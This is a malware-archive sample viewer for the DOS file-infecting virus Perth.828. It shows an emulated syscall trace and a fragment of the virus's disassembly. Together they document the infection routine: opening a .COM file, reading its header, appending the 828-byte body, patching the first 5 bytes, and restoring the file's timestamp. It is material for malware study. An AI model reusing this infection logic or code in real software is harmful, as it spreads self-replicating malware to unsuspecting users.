Sample viewer

vx.netlux.org/Virus.DOS.Perth.828

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:40:54.605465805Z 26 PC: 12a78 | Set disk transfer address
2018-12-17T22:40:54.607530222Z 78 PC: 12aab | Find first file
2018-12-17T22:40:54.614617227Z 67 PC: 12aba | Get or set file attributes
2018-12-17T22:40:54.621480893Z 67 PC: 12aba | Get or set file attributes
2018-12-17T22:40:54.642156475Z 61 PC: 12ae6 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:40:54.655596634Z 63 PC: 12af4 | Read file or device (Read 5 bytes on handle 5)
2018-12-17T22:40:54.662858985Z 66 PC: 12a91 | Move file pointer
2018-12-17T22:40:54.664342028Z 44 PC: 12b20 | Get time 0x12b20: not dl
0x12b22: mov byte ptr [bp + 0x426], dl
0x12b26: mov ah, 0x40
0x12b28: mov cx, 0x33c
0x12b2b: lea dx, word ptr [bp + 0x105]
0x12b2f: push ax
0x12b30: push cx
0x12b31: push dx
0x12b32: jmp 0x12d7a
0x12b35: pop ax
0x12b36: sub ax, 3
0x12b39: mov word ptr [bp + 0x3ea], ax
0x12b3d: mov al, 0
0x12b3f: call 0x22a89
0x12b42: mov ah, 0x40
0x12b44: mov cx, 5
0x12b47: lea dx, word ptr [bp + 0x3e9]
0x12b4b: int 0x21
0x12b4d: jae 0x12b56
0x12b4f: mov ah, 0x3e
2018-12-17T22:40:54.667636731Z 64 PC: 12d82 | Write file or device (Write 828 bytes on handle 5)
2018-12-17T22:40:54.67793297Z 66 PC: 12a91 | Move file pointer
2018-12-17T22:40:54.679867836Z 64 PC: 12b4d | Write file or device (Write 5 bytes on handle 5)
2018-12-17T22:40:54.688101671Z 87 PC: 12b63 | Get or set file date and time
2018-12-17T22:40:54.690246655Z 62 PC: 12b67 | Close file
2018-12-17T22:40:54.699465407Z 67 PC: 12aba | Get or set file attributes
2018-12-17T22:40:54.711568159Z 11 PC: 12a82 | Get input status
2018-12-17T22:40:54.715372962Z 26 PC: 12b7a | Set disk transfer address